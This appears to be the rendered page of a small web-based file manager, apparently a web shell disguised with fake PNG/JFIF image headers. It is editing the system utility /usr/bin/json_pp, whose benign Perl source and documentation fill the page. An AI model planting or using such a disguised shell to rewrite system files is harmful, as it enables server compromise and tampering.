�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: json_pp</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl
    eval &#039;exec /usr/bin/perl -S $0 ${1+&quot;$@&quot;}&#039;
	if 0; # ^ Run only under a shell
#!/usr/bin/perl

BEGIN { pop @INC if $INC[-1] eq &#039;.&#039; }
use strict;
use Getopt::Long;
use Encode ();

use JSON::PP ();

# imported from JSON-XS/bin/json_xs

my %allow_json_opt = map { $_ =&gt; 1 } qw(
    ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref
    allow_singlequote allow_barekey allow_bignum loose escape_slash indent_length
);


GetOptions(
   &#039;v&#039;   =&gt; \( my $opt_verbose ),
   &#039;f=s&#039; =&gt; \( my $opt_from = &#039;json&#039; ),
   &#039;t=s&#039; =&gt; \( my $opt_to = &#039;json&#039; ),
   &#039;json_opt=s&#039; =&gt; \( my $json_opt = &#039;pretty&#039; ),
   &#039;V&#039;   =&gt; \( my $version ),
) or die &quot;Usage: $0 [-V] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]\n&quot;;


if ( $version ) {
    print &quot;$JSON::PP::VERSION\n&quot;;
    exit;
}


$json_opt = &#039;&#039; if $json_opt eq &#039;-&#039;;

my %json_opt;
for my $opt (split /,/, $json_opt) {
    my ($key, $value) = split /=/, $opt, 2;
    $value = 1 unless defined $value;
    die &quot;&#039;$_&#039; is not a valid json option&quot; unless $allow_json_opt{$key};
    $json_opt{$key} = $value;
}

my %F = (
   &#039;json&#039; =&gt; sub {
      my $json = JSON::PP-&gt;new;
      my $enc =
         /^\x00\x00\x00/s  ? &quot;utf-32be&quot;
       : /^\x00.\x00/s     ? &quot;utf-16be&quot;
       : /^.\x00\x00\x00/s ? &quot;utf-32le&quot;
       : /^.\x00.\x00/s    ? &quot;utf-16le&quot;
       :                     &quot;utf-8&quot;;
      for my $key (keys %json_opt) {
        next if $key eq &#039;utf8&#039;;
        $json-&gt;$key($json_opt{$key});
      }
      $json-&gt;decode( Encode::decode($enc, $_) );
   },
   &#039;eval&#039; =&gt; sub {
        my $v = eval &quot;no strict;\n#line 1 \&quot;input\&quot;\n$_&quot;;
        die &quot;$@&quot; if $@;
        return $v;
    },
);


my %T = (
   &#039;null&#039; =&gt; sub { &quot;&quot; },
   &#039;json&#039; =&gt; sub {
      my $json = JSON::PP-&gt;new-&gt;utf8;
      for my $key (keys %json_opt) {
        $json-&gt;$key($json_opt{$key});
      }
      $json-&gt;canonical if $json_opt{pretty};
      $json-&gt;encode( $_ );
   },
   &#039;dumper&#039; =&gt; sub {
      require Data::Dumper;
      local $Data::Dumper::Terse     = 1;
      local $Data::Dumper::Indent    = 1;
      local $Data::Dumper::Useqq     = 1;
      local $Data::Dumper::Quotekeys = 0;
      local $Data::Dumper::Sortkeys  = 1;
      Data::Dumper::Dumper($_)
   },
);



$F{$opt_from}
   or die &quot;$opt_from: not a valid fromformat\n&quot;;

$T{$opt_to}
   or die &quot;$opt_from: not a valid toformat\n&quot;;

{
  local $/;
  binmode STDIN;
  $_ = &lt;STDIN&gt;;
}

$_ = $F{$opt_from}-&gt;();
$_ = $T{$opt_to}-&gt;();

print $_;


__END__

=pod

=encoding utf8

=head1 NAME

json_pp - JSON::PP command utility

=head1 SYNOPSIS

    json_pp [-v] [-f from_format] [-t to_format] [-json_opt options_to_json1[,options_to_json2[,...]]]

=head1 DESCRIPTION

json_pp converts between some input and output formats (one of them is JSON).
This program was copied from L&lt;json_xs&gt; and modified.

The default input format is json and the default output format is json with pretty option.

=head1 OPTIONS

=head2 -f

    -f from_format

Reads a data in the given format from STDIN.

Format types:

=over

=item json

as JSON

=item eval

as Perl code

=back

=head2 -t

Writes a data in the given format to STDOUT.

=over

=item null

no action.

=item json

as JSON

=item dumper

as Data::Dumper

=back

=head2 -json_opt

options to JSON::PP

Acceptable options are:

    ascii latin1 utf8 pretty indent space_before space_after relaxed canonical allow_nonref
    allow_singlequote allow_barekey allow_bignum loose escape_slash indent_length

Multiple options must be separated by commas:

    Right: -json_opt pretty,canonical

    Wrong: -json_opt pretty -json_opt canonical

=head2 -v

Verbose option, but currently no action in fact.

=head2 -V

Prints version and exits.


=head1 EXAMPLES

    $ perl -e&#039;print q|{&quot;foo&quot;:&quot;あい&quot;,&quot;bar&quot;:1234567890000000000000000}|&#039; |\
       json_pp -f json -t dumper -json_opt pretty,utf8,allow_bignum
    
    $VAR1 = {
              &#039;bar&#039; =&gt; bless( {
                                &#039;value&#039; =&gt; [
                                             &#039;0000000&#039;,
                                             &#039;0000000&#039;,
                                             &#039;5678900&#039;,
                                             &#039;1234&#039;
                                           ],
                                &#039;sign&#039; =&gt; &#039;+&#039;
                              }, &#039;Math::BigInt&#039; ),
              &#039;foo&#039; =&gt; &quot;\x{3042}\x{3044}&quot;
            };

    $ perl -e&#039;print q|{&quot;foo&quot;:&quot;あい&quot;,&quot;bar&quot;:1234567890000000000000000}|&#039; |\
       json_pp -f json -t dumper -json_opt pretty
    
    $VAR1 = {
              &#039;bar&#039; =&gt; &#039;1234567890000000000000000&#039;,
              &#039;foo&#039; =&gt; &quot;\x{e3}\x{81}\x{82}\x{e3}\x{81}\x{84}&quot;
            };

=head1 SEE ALSO

L&lt;JSON::PP&gt;, L&lt;json_xs&gt;

=head1 AUTHOR

Makamaka Hannyaharamitu, E&lt;lt&gt;makamaka[at]cpan.orgE&lt;gt&gt;


=head1 COPYRIGHT AND LICENSE

Copyright 2010 by Makamaka Hannyaharamitu

This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself. 

=cut

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>